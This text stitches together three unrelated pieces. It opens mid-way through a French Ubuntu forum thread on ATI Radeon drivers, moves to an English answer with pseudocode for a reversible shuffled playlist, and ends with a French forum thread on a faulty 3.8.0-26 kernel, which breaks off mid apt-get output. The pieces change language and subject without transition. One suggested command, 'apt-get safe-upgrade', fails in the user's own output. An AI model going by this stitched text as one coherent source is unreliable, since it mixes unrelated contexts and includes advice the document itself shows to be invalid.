0x2d 16 dc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 0 0 0 Slow
0x2e 16 dc 0 16 0 r . . 5 6 5 0 0 16 8 16 16 16 0 0 0 Slow
0x2f 16 dc 0 16 0 r y . 5 6 5 0 0 16 0 0 0 0 0 0 0 None
0x30 16 dc 0 16 0 r y . 5 6 5 0 0 16 8 0 0 0 0 0 0 Slow
0x31 16 dc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 0 0 0 Slow
0x32 16 dc 0 16 0 r y . 5 6 5 0 0 16 8 16 16 16 0 0 0 Slow
Dernière modification par Francois_Gregoire (Le 03/07/2005, à 01:53)
Hors ligne
Aito
Re : [Info] Installation du driver Libre ATI Radeon
Hello la foule
Pour Stemp :
Tu dis :
Le driver propirètaire fglrx supporte la 3d sur les cartes à partir de la série 8500.
Donc c'est bon pour les X600, mais il est préférable d'utiliser l'installateur de drivers du site ati (8.14.13)
Ha ??
Merci pour l'info, décidément je ne comprend rien à l'organisation de la gamme ATI
Sinon à propos du driver proprio
J'ai suivi tes conseil je l'ai téléchargé et installé.
Tout se passe relativement bien :
install automatique : ras
fglrxconfig : je répond du mieux que je peux en prennant souvent les choix proposés
et redémmare X, et la à glxgears je suis passé d'environ 500 à environ 150 !!! (sans compter les problème de clavier et autres)
J'ai donc mis les main dans le xorg.conf pour en fair eun mixte entre celui d'origine et celui proposé par ATI
J4ai fini avec qq chose qui fonctionne sans pb mais toujours avec un glxgears à 150 !!
Je fais quoi docteur ? j'abat la bete ?
Personne n'a une radeon X600 Pro dans le coin ?
Merci pour l'aide
A+
Aito
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Vérifie que tu as bien un fichier fglrx.ko dans le répertoire /etc/modules/fglrx/ et que tu n'as pas de ce fichier dans le répertoire /etc/modules/2.610....(ta version de kernel)
Hors ligne
Aito
Re : [Info] Installation du driver Libre ATI Radeon
heu...
c'est pas plutot dans /lib/modules ?
dans /lib.modules :
j'ai bien un fglrx.ko qui est un lien vers fglrx.2.6.10-5-686.ko qui est dans le meme répertoire
puis 2 autres (des fichiers pas des liens) dans :
/lib/modules/2.6.10-5-686/kernel/drivers/video$
et
/lib/modules/2.6.10-5-686/kernel/drivers/char/drm$
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Ooops.....c'était pour voir si tu suivais bien
Et pas de répertoire /lib/modules/fglrx ???
Normalement l'installateur ATI crée ce répertoire pour y compiler le nouveau fichier fglrx.ko
Hors ligne
Aito
Re : [Info] Installation du driver Libre ATI Radeon
si si pardon c bien dans /lib/modules/fglrx
pas dans /lib/modules tout court
je fais quoi maintenant ??:rolleyes:
Hors ligne
insan
Re : [Info] Installation du driver Libre ATI Radeon
Bonjour à tous !
J'ai une carte Radeon 9200 Pro (RV280) mais j'ai un problème de résolution car pendant le démarrage à un moment donnée j'attends longtemps pour que ça poursuive avec cette ligne :
*ror : Temporary Failure in name resolution [Fail]
Donc je me suis dit peut-être que cette procédure décrite ici résoudrait ce problème avec les avantages qu'elle apporte ... mais j'ai une question :
Concernant les drivers propriétaires, les deux paquets importants à virer sont : xorg-driver-fglrx et fglrx-control.
mais moi, j'ai dans Synaptic :
- dans "installés" : xorg-common et xorg-driver-synaptics.
- Et dans "non installés" : fglrx-control et fglrx-kernel-source.
Dois-je alors me contenter de désinstaller les 2 paquets dans la rubrique "installés" et puis, évidemment, faire les modifications indiquées dans le premier post ?
Autre question : C'est quoi glxgears ?
Merci infiniment par avance !
Hors ligne
|
Update: Here's the requirements that I followed, spelled out:
No matter how many songs there are in the table or the current location in a playlist, the information the client is required to store (e.g. in a cookie) must have a constant size.
Using 'next' 100 times followed by 'prev' 100 times should result in some sequence of 100 songs (possibly including duplicates) followed by that exact sequence reversed, regardless of any insertions that may have been made inbetween any 'next' or 'prev' action. ("Previous song always means the previous song.")
A song that would have been in a playlist "when it was generated/initialized" and has since been deleted will be skipped.
Would not be hard to change my answer below to return a not-found indicator instead.
I think you need one more piece of information: a secondary song key of an integer position, in addition to your GUID (or you could replace it with this). Then, combined with a PRNG, you can do the most simple and quick lookup possible. Pseudocode:
def next_song(initial_seed, current_prng_index, high_song_index):
"""Returns the next song and the parameters to be later passed
to next/prev_song."""
while True:
current_prng_index += 1
current_seed = PRNG_advance(initial_seed, current_prng_index)
song_index = song_index_from_seed(current_seed, high_song_index)
song_id = (SELECT SongID FROM Songs WHERE SongIndex=song_index)
if song_id: # test, somehow, for non-deleted songs
return song_id, (initial_seed, current_prng_index, high_song_index)
# include values that must be passed on the next call
# prev is the same, except uses -= 1
def song_index_from_seed(seed, highest):
return seed % (highest + 1)
# simple, but better possibilities might exist for your data
def new_playlist():
"""Returns the parameters to be passed to next/prev_song."""
high_song_index = (SELECT MAX(SongIndex) FROM Songs)
return get_a_random_number(), 0, high_song_index
This will get progressively slower on each next song and doesn't allow wrapping by going backwards (without some creativity). If you find a suitable reversible PRNG (though uncommon among good PRNGs, AFAIK):
def next_song(current_seed, high_song_index):
while True:
current_seed = PRNG_next(current_seed)
song_index = song_index_from_seed(current_seed, high_song_index)
song_id = (SELECT SongID FROM Songs WHERE SongIndex=song_index)
if song_id: # test, somehow, for non-deleted songs
return song_id, (current_seed, high_song_index)
# include values that must be passed on the next call
# prev is the same, except uses PRNG_prev
This handles deletions by skipping those songs (or if you never delete that's not even an issue), but otherwise doesn't change the order no matter how many are deleted. Insertions are handled by the song_index_from_seed function, by constraining the index so new songs are never 'seen'. This is also an infinite loop if all the available songs have been deleted, but I think this code handles all other corner cases.
(Refactoring the next/prev versions to be simple wrappers around a common function isn't hard, but left out here to increase clarity.)
I've effectively replaced your dateAdded with my position index, but this is an improvement, since you don't need to keep deleted rows as dummies (but still cannot reuse their index) as you would if the position index was computed by ordering on dateAdded.
Using a PRNG like this seems naive, but works; and you'll have to be careful that the chosen PRNG and song_index_from_seed combination behaves as you expect: it's possible that some initial seeds appear to generate "non-random" playlists. (Not because they're not random, but because listeners expect a mix of songs instead of just 4, 4, 9, 9, ...)
|
guigui8594
[RESOLU] Problème avec kernel version 3.8.0-26
Bonjour,
J'ai un soucis avec la version 3.8.0-26.
Mon pc démarre par défaut sur cette version, mais une erreur de résolution d'affichage apparaît, le réseau ne fonctionne plus, le pavé tactile non plus et il est extrêmement lent.
Avec la version 3.8.0-25, aucun problème.
Donc pour le moment, je démarre avec grub sur cette version.
Je pensais supprimer la ver 3.8.0-26, et ainsi démarrer par défaut sur la 25.
Mais si j'essai de la supprimer, il dit qu'il ne la trouve pas.
Si je fais un update grub, il trouve la version 26 (et une dizaine d'autres anciennes que je ne peux pas supprimer non plus).
Auriez vous un solution pour supprimer la 3.8.0-26 ? (si c'est bien la solution).
Merci d'avance.
Dernière modification par guigui8594 (Le 02/07/2013, à 11:19)
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Salut,
Ton problème vient de ce que tu as activé le dépôt proposed qui contient des pré-versions pouvant êtres problématiques.
Il te faut donc décocher le dépôt "proposed" de tes sources de mises à jour.
Ensuite, donne le retour de cette commande :
dpkg -l | grep 3.8.0-26
A+
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
le dépôt "proposed" n'est plus cocher.
la commande ne donne rien.
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Et avec celle ci ?
dpkg -l | grep 3.8.0-2
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Voilà :
guillaume@guillaume-1005PE:~$ dpkg -l | grep 3.8.0-2
ii linux-headers-3.8.0-25 3.8.0-25.37 all Header files related to Linux kernel version 3.8.0
ii linux-headers-3.8.0-25-generic 3.8.0-25.37 i386 Linux kernel headers for version 3.8.0 on 32 bit x86 SMP
ii linux-image-3.8.0-25-generic 3.8.0-25.37 i386 Linux kernel image for version 3.8.0 on 32 bit x86 SMP
ii linux-image-extra-3.8.0-25-generic 3.8.0-25.37 i386 Linux kernel image for version 3.8.0 on 32 bit x86 SMP
ii linux-libc-dev:i386 3.8.0-25.37 i386 Linux Kernel Headers for development
ii python-gi 3.8.0-2 i386 Python 2.x bindings for gobject-introspection libraries
ii python-gi-cairo 3.8.0-2 i386 Python Cairo bindings for the GObject library
ii python-gobject 3.8.0-2 all Python 2.x bindings for GObject - transitional package
ii python3-gi 3.8.0-2 i386 Python 3 bindings for gobject-introspection libraries
ii python3-gi-cairo 3.8.0-2 i386 Python 3 Cairo bindings for the GObject library
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
On va vérifier que tu es dans une situation normale :
uname -a
sudo apt-get update
sudo apt-get safe-upgrade
sudo apt-get install linux-image-generic linux-headers-generic
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
guillaume@guillaume-1005PE:~$ uname -a
Linux guillaume-1005PE 3.8.0-25-generic #37-Ubuntu SMP Thu Jun 6 20:47:30 UTC 2013 i686 i686 i686 GNU/Linux
guillaume@guillaume-1005PE:~$ sudo apt-get update
[sudo] password for guillaume:
Atteint http://archive.canonical.com raring Release.gpg
Réception de : 1 http://security.ubuntu.com raring-security Release.gpg [933 B]
Réception de : 2 http://extras.ubuntu.com raring Release.gpg [72 B]
Atteint http://archive.canonical.com raring Release
Atteint http://fr.archive.ubuntu.com raring Release.gpg
Réception de : 3 http://security.ubuntu.com raring-security Release [40,8 kB]
Atteint http://extras.ubuntu.com raring Release
Réception de : 4 http://fr.archive.ubuntu.com raring-updates Release.gpg [933 B]
Atteint http://fr.archive.ubuntu.com raring Release
Atteint http://archive.canonical.com raring/partner Sources
Atteint http://extras.ubuntu.com raring/main Sources
Réception de : 5 http://fr.archive.ubuntu.com raring-updates Release [40,8 kB]
Réception de : 6 http://security.ubuntu.com raring-security/main Sources [26,8 kB]
Atteint http://archive.canonical.com raring/partner i386 Packages
Atteint http://extras.ubuntu.com raring/main i386 Packages
Réception de : 7 http://security.ubuntu.com raring-security/restricted Sources [14 B]
Atteint http://fr.archive.ubuntu.com raring/main Sources
Réception de : 8 http://security.ubuntu.com raring-security/universe Sources [6 505 B]
Atteint http://fr.archive.ubuntu.com raring/restricted Sources
Réception de : 9 http://security.ubuntu.com raring-security/multiverse Sources [690 B]
Atteint http://fr.archive.ubuntu.com raring/universe Sources
Réception de : 10 http://security.ubuntu.com raring-security/main i386 Packages [74,2 kB]
Atteint http://fr.archive.ubuntu.com raring/multiverse Sources
Atteint http://fr.archive.ubuntu.com raring/main i386 Packages
Atteint http://fr.archive.ubuntu.com raring/restricted i386 Packages
Réception de : 11 http://security.ubuntu.com raring-security/restricted i386 Packages [14 B]
Atteint http://fr.archive.ubuntu.com raring/universe i386 Packages
Réception de : 12 http://security.ubuntu.com raring-security/universe i386 Packages [23,1 kB]
Atteint http://fr.archive.ubuntu.com raring/multiverse i386 Packages
Réception de : 13 http://security.ubuntu.com raring-security/multiverse i386 Packages [1 403 B]
Atteint http://fr.archive.ubuntu.com raring/main Translation-fr
Atteint http://fr.archive.ubuntu.com raring/main Translation-en
Ign http://extras.ubuntu.com raring/main Translation-fr_FR
Ign http://archive.canonical.com raring/partner Translation-fr_FR
Atteint http://security.ubuntu.com raring-security/main Translation-en
Ign http://extras.ubuntu.com raring/main Translation-fr
Ign http://archive.canonical.com raring/partner Translation-fr
Atteint http://fr.archive.ubuntu.com raring/multiverse Translation-fr
Ign http://extras.ubuntu.com raring/main Translation-en
Ign http://archive.canonical.com raring/partner Translation-en
Atteint http://security.ubuntu.com raring-security/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com raring/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com raring/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com raring/restricted Translation-en
Atteint http://security.ubuntu.com raring-security/restricted Translation-en
Atteint http://fr.archive.ubuntu.com raring/universe Translation-fr
Atteint http://fr.archive.ubuntu.com raring/universe Translation-en
Réception de : 14 http://security.ubuntu.com raring-security/universe Translation-en [14,8 kB]
Réception de : 15 http://fr.archive.ubuntu.com raring-updates/main Sources [41,1 kB]
Réception de : 16 http://fr.archive.ubuntu.com raring-updates/restricted Sources [14 B]
Réception de : 17 http://fr.archive.ubuntu.com raring-updates/universe Sources [52,2 kB]
Réception de : 18 http://fr.archive.ubuntu.com raring-updates/multiverse Sources [690 B]
Réception de : 19 http://fr.archive.ubuntu.com raring-updates/main i386 Packages [104 kB]
Réception de : 20 http://fr.archive.ubuntu.com raring-updates/restricted i386 Packages [14 B]
Réception de : 21 http://fr.archive.ubuntu.com raring-updates/universe i386 Packages [100 kB]
Réception de : 22 http://fr.archive.ubuntu.com raring-updates/multiverse i386 Packages [1 403 B]
Réception de : 23 http://fr.archive.ubuntu.com raring-updates/main Translation-en [51,3 kB]
Atteint http://fr.archive.ubuntu.com raring-updates/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com raring-updates/restricted Translation-en
Réception de : 24 http://fr.archive.ubuntu.com raring-updates/universe Translation-en [54,6 kB]
Ign http://security.ubuntu.com raring-security/main Translation-fr_FR
Ign http://security.ubuntu.com raring-security/main Translation-fr
Ign http://security.ubuntu.com raring-security/multiverse Translation-fr_FR
Ign http://security.ubuntu.com raring-security/multiverse Translation-fr
Ign http://security.ubuntu.com raring-security/restricted Translation-fr_FR
Ign http://security.ubuntu.com raring-security/restricted Translation-fr
Ign http://security.ubuntu.com raring-security/universe Translation-fr_FR
Ign http://security.ubuntu.com raring-security/universe Translation-fr
Ign http://fr.archive.ubuntu.com raring/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/main Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/multiverse Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/restricted Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/universe Translation-fr
636 ko réceptionnés en 7s (86,3 ko/s)
Lecture des listes de paquets... Fait
W: Duplicate sources.list entry http://fr.archive.ubuntu.com/ubuntu/ raring/restricted i386 Packages (/var/lib/apt/lists/fr.archive.ubuntu.com_ubuntu_dists_raring_restricted_binary-i386_Packages)
W: Duplicate sources.list entry http://fr.archive.ubuntu.com/ubuntu/ raring/main i386 Packages (/var/lib/apt/lists/fr.archive.ubuntu.com_ubuntu_dists_raring_main_binary-i386_Packages)
W: Duplicate sources.list entry http://fr.archive.ubuntu.com/ubuntu/ raring/multiverse i386 Packages (/var/lib/apt/lists/fr.archive.ubuntu.com_ubuntu_dists_raring_multiverse_binary-i386_Packages)
W: Duplicate sources.list entry http://fr.archive.ubuntu.com/ubuntu/ raring/universe i386 Packages (/var/lib/apt/lists/fr.archive.ubuntu.com_ubuntu_dists_raring_universe_binary-i386_Packages)
W: Duplicate sources.list entry http://archive.canonical.com/ubuntu/ raring/partner i386 Packages (/var/lib/apt/lists/archive.canonical.com_ubuntu_dists_raring_partner_binary-i386_Packages)
W: Vous pouvez lancer « apt-get update » pour corriger ces problèmes.
guillaume@guillaume-1005PE:~$ sudo apt-get safe-upgrade
E: L'opération safe-upgrade n'est pas valable
guillaume@guillaume-1005PE:~$ sudo apt-get install linux-image-generic linux-headers-generic
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
linux-headers-generic est déjà la plus récente version disponible.
linux-headers-generic passé en « installé manuellement ».
linux-image-generic est déjà la plus récente version disponible.
linux-image-generic passé en « installé manuellement ».
0 mis à jour, 0 nouvellement installés, 0 à enlever et 4 non mis à jour.
guillaume@guillaume-1005PE:~$
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Ça semble bon pour ton problème de noyau.
Par contre, tu as doublonné des lignes dans ton sources.list. Donne le contenu du fichier via cette commande :
gedit /etc/apt/sources.list
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
voilà le résultat:
# deb cdrom:[Ubuntu 13.04 _Raring Ringtail_ - Release i386 (20130424)]/ raring main restricted
# deb cdrom:[Ubuntu 12.10 _Quantal Quetzal_ - Release i386 (20121017.2)]/ quantal main restricted
# deb cdrom:[Ubuntu-Netbook-Remix 9.10 _Karmic Koala_ - Release i386 (20091028.4)]/ karmic main restricted
# deb cdrom:[Ubuntu 13.04 _Raring Ringtail_ - Release i386 (20130424)]/ raring main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://fr.archive.ubuntu.com/ubuntu/ raring main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://fr.archive.ubuntu.com/ubuntu/ raring universe
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://fr.archive.ubuntu.com/ubuntu/ raring multiverse
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb-src http://fr.archive.ubuntu.com/ubuntu/ karmic-backports main restricted universe multiverse
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
deb http://archive.canonical.com/ubuntu raring partner
deb-src http://archive.canonical.com/ubuntu raring partner
deb http://security.ubuntu.com/ubuntu raring-security main restricted
deb http://security.ubuntu.com/ubuntu raring-security universe
deb http://security.ubuntu.com/ubuntu raring-security multiverse
# deb http://extras.ubuntu.com/ubuntu raring main #Third party developers repository
deb http://fr.archive.ubuntu.com/ubuntu/ raring restricted main multiverse universe
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
## Major bug fix updates produced after the final release of the
## distribution.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
deb http://archive.canonical.com/ubuntu raring partner
deb-src http://archive.canonical.com/ubuntu raring partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
# deb-src http://extras.ubuntu.com/ubuntu raring main
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring universe
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates multiverse
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb-src http://security.ubuntu.com/ubuntu raring-security main restricted
deb-src http://security.ubuntu.com/ubuntu raring-security universe
deb-src http://security.ubuntu.com/ubuntu raring-security multiverse
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu raring partner
# deb-src http://archive.canonical.com/ubuntu raring partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
deb http://extras.ubuntu.com/ubuntu raring main
deb-src http://extras.ubuntu.com/ubuntu raring main
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
## Major bug fix updates produced after the final release of the
## distribution.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu raring partner
# deb-src http://archive.canonical.com/ubuntu raring partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Le plus simple est de remplacer par un sources.list neuf et complet.
Ouvre ton fichier avec :
gksudo gedit /etc/apt/sources.list
Efface la totalité de son contenu et remplace par celui ci :
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://fr.archive.ubuntu.com/ubuntu/ raring main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://fr.archive.ubuntu.com/ubuntu/ raring universe
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring universe
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates universe
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://fr.archive.ubuntu.com/ubuntu/ raring multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring multiverse
deb http://fr.archive.ubuntu.com/ubuntu/ raring-updates multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-updates multiverse
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb http://fr.archive.ubuntu.com/ubuntu/ raring-backports main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ raring-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu raring-security main restricted
deb-src http://security.ubuntu.com/ubuntu raring-security main restricted
deb http://security.ubuntu.com/ubuntu raring-security universe
deb-src http://security.ubuntu.com/ubuntu raring-security universe
deb http://security.ubuntu.com/ubuntu raring-security multiverse
deb-src http://security.ubuntu.com/ubuntu raring-security multiverse
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
deb http://archive.canonical.com/ubuntu raring partner
# deb-src http://archive.canonical.com/ubuntu precise partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
deb http://extras.ubuntu.com/ubuntu raring main
deb-src http://extras.ubuntu.com/ubuntu raring main
Enregistre ton fichier.
Pour vérifier que tout est OK, donne le résultat de :
sudo apt-get update
sudo apt-get upgrade
Dernière modification par inbox (Le 29/06/2013, à 16:09)
Hors ligne
Chloeg
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Bonjour,
Je me permets de rejoindre la discussion, car j'ai le même problème. De toutes manières, depuis que je suis passée à la version 13.04 je n'ai que des problèmes. J'ai du abandonné Gnome car trop de soucis Graphique, j'ai maintenant Mate, plus simple qui au moins marchouille un peu plus.
J'ai donc le même soucis avec les paquets suivants:
Des erreurs ont été rencontrées pendant l'exécution :
linux-image-extra-3.8.0-25-generic
linux-image-generic
linux-generic
initramfs-tools
J'ai suivi toutes les procédures de ce post; ça plante toujours à
sudo apt-get install linux-image-generic linux-headers-generic
Je précise que je suis pas forcément une experte en ce qui concerne la gestion des paquets et tout ça...
Je n'ai du coup plus accès aux logiciels que j'utilisais avant sur ubuntu 10.04 à cause de ces paquets merdiques, même Skype ne fonctionne pas... J'ai des problèmes graphiques tout le temps, et par exemple, quand je le redémarre après l'avoir passé en veille, l'affichage graphique est illisible, plus de police, etc.... Je désespère, je ne trouve absolument rien sur le net, je n'y comprends d'ailleurs plus rien... J'ai aussi essayé de faire les mises à jour nvidia, rien à faire non plus , ça ne passe pas non plus à cause de ces paquets. Please Help!
Merci beaucoup d'avance!
Dernière modification par Chloeg (Le 29/06/2013, à 19:44)
Hors ligne
jeanjd63
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Bonjour,
J'ai un soucis avec la version 3.8.0-26.
.......
Je pensais supprimer la ver 3.8.0-26, et ainsi démarrer par défaut sur la 25.
Mais si j'essai de la supprimer, il dit qu'il ne la trouve pas.
........
Si je fais un update grub, il trouve la version 26 (et une dizaine d'autres anciennes que je ne peux pas supprimer non plus).
Auriez vous un solution pour supprimer la 3.8.0-26 ? (si c'est bien la solution).
Merci d'avance.
Salut
Peux-tu donner le résultat de la commande suivante :sudo ls -l /boot | grep vmlinuz
@+
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
@inbox
voila le résultat des manip
guillaume@guillaume-1005PE:~$ sudo apt-get update
Atteint http://fr.archive.ubuntu.com raring Release.gpg
Réception de : 1 http://fr.archive.ubuntu.com raring-updates Release.gpg [933 B]
Réception de : 2 http://extras.ubuntu.com raring Release.gpg [72 B]
Atteint http://archive.canonical.com raring Release.gpg
Réception de : 3 http://fr.archive.ubuntu.com raring-backports Release.gpg [933 B]
Atteint http://extras.ubuntu.com raring Release
Atteint http://archive.canonical.com raring Release
Atteint http://fr.archive.ubuntu.com raring Release
Réception de : 4 http://fr.archive.ubuntu.com raring-updates Release [40,8 kB]
Réception de : 5 http://security.ubuntu.com raring-security Release.gpg [933 B]
Atteint http://extras.ubuntu.com raring/main Sources
Atteint http://archive.canonical.com raring/partner i386 Packages
Atteint http://extras.ubuntu.com raring/main i386 Packages
Réception de : 6 http://security.ubuntu.com raring-security Release [40,8 kB]
Réception de : 7 http://fr.archive.ubuntu.com raring-backports Release [40,8 kB]
Atteint http://fr.archive.ubuntu.com raring/main Sources
Atteint http://fr.archive.ubuntu.com raring/restricted Sources
Atteint http://fr.archive.ubuntu.com raring/universe Sources
Atteint http://fr.archive.ubuntu.com raring/multiverse Sources
Atteint http://fr.archive.ubuntu.com raring/main i386 Packages
Atteint http://fr.archive.ubuntu.com raring/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com raring/universe i386 Packages
Réception de : 8 http://security.ubuntu.com raring-security/main Sources [26,8 kB]
Atteint http://fr.archive.ubuntu.com raring/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com raring/main Translation-fr
Ign http://archive.canonical.com raring/partner Translation-fr_FR
Atteint http://fr.archive.ubuntu.com raring/main Translation-en
Ign http://extras.ubuntu.com raring/main Translation-fr_FR
Ign http://archive.canonical.com raring/partner Translation-fr
Ign http://extras.ubuntu.com raring/main Translation-fr
Ign http://archive.canonical.com raring/partner Translation-en
Réception de : 9 http://security.ubuntu.com raring-security/restricted Sources [14 B]
Ign http://extras.ubuntu.com raring/main Translation-en
Atteint http://fr.archive.ubuntu.com raring/multiverse Translation-fr
Réception de : 10 http://security.ubuntu.com raring-security/universe Sources [6 505 B]
Atteint http://fr.archive.ubuntu.com raring/multiverse Translation-en
Réception de : 11 http://security.ubuntu.com raring-security/multiverse Sources [690 B]
Atteint http://fr.archive.ubuntu.com raring/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com raring/restricted Translation-en
Réception de : 12 http://security.ubuntu.com raring-security/main i386 Packages [74,2 kB]
Atteint http://fr.archive.ubuntu.com raring/universe Translation-fr
Atteint http://fr.archive.ubuntu.com raring/universe Translation-en
Réception de : 13 http://fr.archive.ubuntu.com raring-updates/main Sources [41,1 kB]
